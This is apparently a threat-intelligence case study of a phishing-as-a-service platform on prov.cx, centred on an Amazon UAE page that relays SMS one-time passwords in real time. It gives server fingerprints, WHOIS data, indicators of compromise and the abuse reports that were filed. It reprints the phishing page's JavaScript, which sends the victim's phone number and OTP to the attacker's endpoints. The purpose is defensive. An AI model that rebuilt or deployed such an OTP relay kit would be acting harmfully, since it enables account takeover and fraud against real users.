P1 Critical · Phishing-as-a-Service · AiTM SMS Relay

Case 005 — Amazon PhaaS
AiTM OTP Relay · prov.cx · 256+ Deployments

Active adversary-in-the-middle attack targeting Amazon UAE customers. Real-time SMS OTP relay intercepts and replays one-time passwords to take over accounts silently — victim is redirected to amazon.ae after compromise. Platform prov.cx hosts 256+ phishing deployments across 10+ brands including Instagram, TBank, Telegram, and crypto exchanges.

P1 Critical AiTM Active PhaaS Platform 256+ Deployments 10+ Brands Targeted Passive OSINT Only Amazon UAE TBank · Telegram · Crypto Tamatiya EOOD (BG) CentralNic Registrar
Phishing URLamazon-ae-relay.apps.prov.cx
StatusLIVE — OTP Relay Active
Platformprov.cx (256+ Deployments)
Host79.124.58.150 · Tamatiya EOOD · BG
MethodAiTM SMS OTP Relay
TargetAmazon UAE / Gulf / India
Registered2026-07-07 (40 days old)
Brands Impersonated10+ (Amazon, Instagram, TBank, Telegram, Tether, Uniswap, Microsoft, TrustWallet…)
Finding 1 — Entry Point & Technical Stack

The investigation began with a live URL: amazon-ae-relay.apps.prov.cx. The page presents a pixel-perfect Amazon UAE sign-in clone — correct logo, branding, font, and field layout. HTTP response headers immediately reveal the backend stack.

# Response headers from amazon-ae-relay.apps.prov.cx HTTP/2 200 OK server uvicorn server Python/3.11 aiohttp/3.14.3 # async Python web framework via 1.1 Caddy # Caddy reverse proxy in front last-modified Wed, 29 Jul 2026 18:24:15 GMT # built ~8 days before investigation content-type text/html

Stack fingerprint: Python backend served via uvicorn + aiohttp, fronted by a Caddy reverse proxy. This is a deliberate, lightweight async stack — appropriate for real-time OTP relay where latency matters. The page was last built on 29 July 2026.

Phishing URL
amazon-ae-relay.apps.prov.cx
Page Title
Amazon Sign-In
Backend
Python/3.11 aiohttp/3.14.3
Proxy
Caddy (via header)
Server IP
79.124.58.150
ASN / Org
Tamatiya EOOD · BG
CIDR
79.124.58.0/24
Abuse Contact
noc@4vendeta.com
Platform Domain
prov.cx
Registrar
CentralNic (abuse@key-systems.net)
Nameservers
dns1/2.icedns.is
prov.cx Created
2026-07-07 (40 days old)
Finding 2 — Attack Mechanism: Real-Time AiTM SMS OTP Relay

Inline JavaScript extracted from the page source reveals the complete attack flow. This is not a traditional credential phishing attack that steals a password. It is an Adversary-in-the-Middle (AiTM) real-time OTP relay — it captures active Amazon sessions by relaying a live authentication.

Attack class: Adversary-in-the-Middle SMS OTP relay. The attacker's server acts as a transparent proxy between the victim and Amazon's real authentication system. Amazon sends a genuine OTP to the victim's real phone — the victim enters it on the phishing page — the attacker relays it to Amazon in real-time. Result: Amazon grants the attacker a valid session. The victim sees a seamless redirect to amazon.ae and suspects nothing.
1
Victim enters phone number + country code on the Amazon clone page. Dropdown shows AE (+971), SA (+966), KW (+965), IN (+91) — specifically targeting Gulf region and India.
2
Page POSTs to /api/init_login{phone, country_code}. The attacker's Python backend receives this and immediately triggers a real Amazon login with that phone number. Amazon sends a genuine SMS OTP to the victim's actual phone. Backend returns {success: true, session_id: "xxx"}.
3
Victim receives a real Amazon SMS ("Your Amazon OTP is 123456"). Victim enters it on the phishing page, believing they are signing in to Amazon.
4
Page POSTs to /api/submit_otp{session_id, otp}. Attacker relays the OTP to Amazon's real authentication endpoint within seconds. Amazon validates it, creates a session, and returns a valid auth token to the attacker.
5
Response: {success: true, logged_in: true}. Attacker holds a live Amazon session. Page shows "Sign-In complete" for 3 seconds, then redirects victim to https://www.amazon.ae. Victim sees nothing suspicious. Attacker proceeds to harvest order history, payment methods, and personal data.
// Extracted JS — Step 1: phone harvest + OTP trigger async function submitPhone() { const resp = await fetch(API_BASE + '/init_login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ phone: phone, country_code: countryCode }) }); const data = await resp.json(); if (data.success) { currentSessionId = data.session_id; /* show OTP step */ } } // Step 2: OTP relay — completes the real Amazon login async function submitOTP() { const resp = await fetch(API_BASE + '/submit_otp', { method: 'POST', body: JSON.stringify({ session_id: currentSessionId, otp: otp }) }); const data = await resp.json(); if (data.success && data.logged_in) { showStep('done'); setTimeout(() => { window.location.href = 'https://www.amazon.ae'; }, 3000); // ↑ victim redirected to real Amazon — attacker holds the session } }
Why this bypasses 2FA: SMS OTP is the 2FA mechanism. This attack defeats it entirely because the OTP is relayed in real time — Amazon's own SMS is used as the delivery vehicle, and the attacker intercepts it at the moment the victim enters it. Traditional password theft (phishing) + SMS 2FA would stop here. AiTM relay skips that barrier completely.
Finding 3 — Platform Scale: 256+ PhaaS Deployments Across 10+ Brands

A passive reverse IP lookup on 79.124.58.150 via HackerTarget's public API returned 256 subdomains all hosted on the same server — all under prov.cx. This is not a case of one attacker abusing a shared hosting platform. The naming conventions, uniform stack, and absence of any legitimate content confirm this is a purpose-built phishing-as-a-service (PhaaS) infrastructure.

One passive DNS query. 256 deployments returned. 10+ major brands impersonated. This is the same IP-pivoting technique used in Case 004 — except here the entire platform is phishing infrastructure, not a shared server.
Brand TargetSubdomains FoundAttack TypeExampleStatus
Amazon AE4AiTM OTP Relayamazon-ae-relay.apps.prov.cxLIVE
Instagram4Account Takeoverig-login.apps.prov.cx, ig-verify.apps.prov.cx404
TBank (Russian)7Banking Credential Stealp-tbank-auth-ae303983.prov.cx404
Telegram4Account Takeoverp-telegram-verify-ru-61fcf0f0.prov.cx404
Tether (USDT)2Crypto Wallet Drainp-tether-verify-38e45136.prov.cx404
Uniswap (DeFi)6Crypto Wallet Drainp-uniswap-verify-bc3d46b3.prov.cx404
Microsoft1M365 Credential Stealp-techcorp-microsoft-l-18c92676.prov.cx404
TrustWallet3Crypto Wallet Draintrustwallet-verify.apps.prov.cx404
Generic (Amazon AE)1AiTM OTP Relayp-amazon-ae-verify-8168c243.prov.cx404
TechCorp (MS Clone)1M365 Phishingp-techcorp-login-8044af69.prov.cx404

Naming convention analysis: The p-[brand]-[action]-[8-char-hex].prov.cx pattern across dozens of entries indicates automated deployment — each phishing kit is spun up programmatically with a randomized hex suffix, likely via an API or scripted provisioning. This is consistent with PhaaS platforms that allow operators to deploy new campaigns without manual server configuration.

Finding 4 — prov.cx: Purpose-Built Phishing-as-a-Service Platform

The prov.cx domain is not a legitimate cloud platform being abused by attackers — it is a dedicated, purpose-built phishing platform. Evidence:

  • No legitimate content at root: https://prov.cx returns a 404 JSON response — there is no company website, no terms of service, no documentation for developers.
  • Admin panels return 404: admin.prov.cx, backoffice.prov.cx, console.prov.cx all return 404 — they exist in DNS but are locked behind the backend.
  • Brand new domain: prov.cx was registered 2026-07-07 — just 40 days before this investigation. It has no history as a legitimate service.
  • Zero non-phishing content in 256 subdomains: Every single identifiable subdomain is a brand impersonation, credential harvester, or crypto drain — no personal sites, no developer projects, no legitimate apps.
  • Uniform server stack: Python/3.11 + aiohttp + uvicorn + Caddy is consistent across all checked endpoints — single codebase, single operator.
  • CX TLD: .cx is the Christmas Island ccTLD, often registered specifically to avoid mainstream registrar scrutiny. Abuse goes to abuse@key-systems.net (CentralNic backend).
# prov.cx WHOIS — registered at same time as the attack infrastructure Domain prov.cx Created 2026-07-07 # 40 days before investigation Registrar CentralNic Ltd (GB) Abuse Email abuse@key-systems.net Nameservers dns1.icedns.is / dns2.icedns.is Status active, clientTransferProhibited # Server infrastructure (same IP as all 256 deployments) IP 79.124.58.150 inetnum 79.124.58.0 - 79.124.58.255 netname Tamatiya-EOOD org Tamatiya EOOD country BG (Bulgaria) abuse noc@4vendeta.com
Finding 5 — Geographic & Demographic Targeting Profile

The platform targets multiple distinct victim demographics simultaneously, each served by purpose-specific phishing kits.

Gulf / Middle East
Amazon AE (AiTM)
Dropdown: UAE +971, SA +966, KW +965, IN +91. Targeting Amazon Gulf customers — high purchasing power, active e-commerce market.
Russia / CIS
TBank + Telegram-RU
7 TBank phishing pages (Russian fintech), 4 Telegram pages including p-telegram-verify-ru with explicit RU suffix. Coordinated Russian-speaking victim targeting.
Crypto Investors
Tether · Uniswap · TrustWallet
11 deployments targeting crypto users. Drain attacks on connected wallets — typically higher-value single transactions than banking credential theft.
Global Social
Instagram · Microsoft
4 Instagram account takeover pages, 2 Microsoft/M365 credential harvesting pages. Lower barrier — generic language, any user.
Business model inference: The breadth of brands (banking, crypto, social, e-commerce, messaging) and the consistent automated naming convention suggests this is an active PhaaS operator running multiple simultaneous campaigns — not a single actor running one phishing page. Phishing kits are likely sold or rented to multiple buyers who deploy under the prov.cx platform.
Reporting Actions Taken

Reporting targets chosen for maximum takedown leverage: platform registrar (kills all 256+ deployments), hosting provider, brand owner (Amazon), and EU law enforcement.

Amazon Security Team

Reported to stop-spoofing@amazon.com. Active AiTM page impersonating Amazon UAE sign-in, performing real-time SMS OTP relay via /api/init_login + /api/submit_otp. Amazon Security can pursue the amazon-ae-relay.apps.prov.cx subdomain via CentralNic and Tamatiya EOOD simultaneously.

CentralNic — Registrar Abuse (prov.cx Domain Suspension)

Reported to abuse@key-systems.net. prov.cx is registered via CentralNic (Key-Systems backend). A single domain suspension of prov.cx would take offline all 256+ phishing deployments simultaneously. This is the highest-leverage single action available — one registrar request, 256 pages gone.

Tamatiya EOOD — Hosting Abuse

Reported to noc@4vendeta.com. All 256 deployments are hosted on a single /24 block (79.124.58.0/24) operated by Tamatiya EOOD, Bulgaria. IP block blacklisting would complement the registrar action.

EC3/Europol — Coordinated PhaaS Operation

Reported to ec3@europol.europa.eu. This is not an isolated phishing page — it is a coordinated multi-brand PhaaS platform potentially serving multiple criminal actors. The Russian-speaking targeting (TBank, Telegram-RU) and Gulf targeting (Amazon AE) suggest cross-border organized crime. EC3 scope: criminal infrastructure serving multiple fraud operations simultaneously.

Method — How This Was Found

Phase 1 — Initial recon: Passive HTTP HEAD request revealed Python/aiohttp/uvicorn/Caddy stack. WHOIS on prov.cx: CentralNic, 40-day-old domain. IP WHOIS on 79.124.58.150: Tamatiya EOOD, Bulgaria.

Phase 2 — Page source analysis: Full HTML + inline JS extracted. Identified 2-step AiTM flow: /api/init_login/api/submit_otp. Country dropdown revealed Gulf/India targeting. Post-OTP redirect to https://www.amazon.ae confirms victim is silently compromised.

Phase 3 — IP pivoting: Reverse IP lookup on 79.124.58.150 returned 256 prov.cx subdomains. Grepped for brand names — Amazon (4), Instagram (4), TBank (7), Telegram (4), Tether (2), Uniswap (6), Microsoft (1), TrustWallet (3). All confirmed via HTTP HEAD requests.

Phase 4 — Platform analysis: Root domain, admin, and backoffice subdomains all return 404. No legitimate use found across 256 entries. prov.cx domain age (40 days) and naming convention (p-[brand]-[action]-[hex]) confirm automated deployment system, not a legitimate PaaS being abused.

Skill demonstrated: One passive reverse IP lookup turned a single live phishing page into full visibility of a multi-brand PhaaS operation serving 256 active or recent deployments. The AiTM mechanism was fully recovered from client-side JavaScript alone — no traffic interception, no active probing of the API endpoints. Entirely passive.
MITRE ATT&CK Mapping
T1566.002 Phishing: Spearphishing Link T1557 Adversary-in-the-Middle T1557.003 AiTM: DHCP Spoofing (relay variant — OTP interception) T1078 Valid Accounts — attacker acquires valid Amazon session T1539 Steal Web Session Cookie T1583.001 Acquire Infrastructure: Domains (prov.cx purpose-registered) T1583.003 Acquire Infrastructure: Virtual Private Server (Tamatiya EOOD) T1588.005 Obtain Capabilities: Exploits (PhaaS platform as capability provider)
IOC Table
# Primary IOC URL https://amazon-ae-relay.apps.prov.cx LIVE AiTM page URL https://amazon-ae-relay2.apps.prov.cx Sibling — 404 URL https://amazon-ae-relay4.apps.prov.cx Sibling — 404 Domain prov.cx PhaaS platform root IP 79.124.58.150 Platform server CIDR 79.124.58.0/24 Tamatiya EOOD block ASN Tamatiya EOOD (BG) API Endpoint /api/init_login Phase 1 phone harvest API Endpoint /api/submit_otp Phase 2 OTP relay Server Python/3.11 aiohttp/3.14.3 + uvicorn + Caddy Registrar CentralNic / abuse@key-systems.net Host Abuse noc@4vendeta.com Pattern p-[brand]-[action]-[8hex].prov.cx Automated PhaaS naming
Live Evidence — Screenshot Captured 2026-08-16

Headless browser screenshot of amazon-ae-relay.apps.prov.cx captured during investigation. Amazon UAE sign-in clone with UAE +971 country code pre-selected. Logo CDN blocked by headless mode — the live page loads it correctly from media-amazon.com, reinforcing the impersonation.

amazon-ae-relay.apps.prov.cx — LIVE PHISHING PAGE ⚠ MALICIOUS
Screenshot: Amazon UAE phishing page (AiTM relay)

Evidence captured passively via headless browser. Do not visit this URL — it is an active credential harvesting page.

Live Infrastructure Status
Loading status…
Previous: Case 004 — PigButcher Network All Cases Next: Case 006 — Investor Verlag PhaaS
SevinOS BLE Radar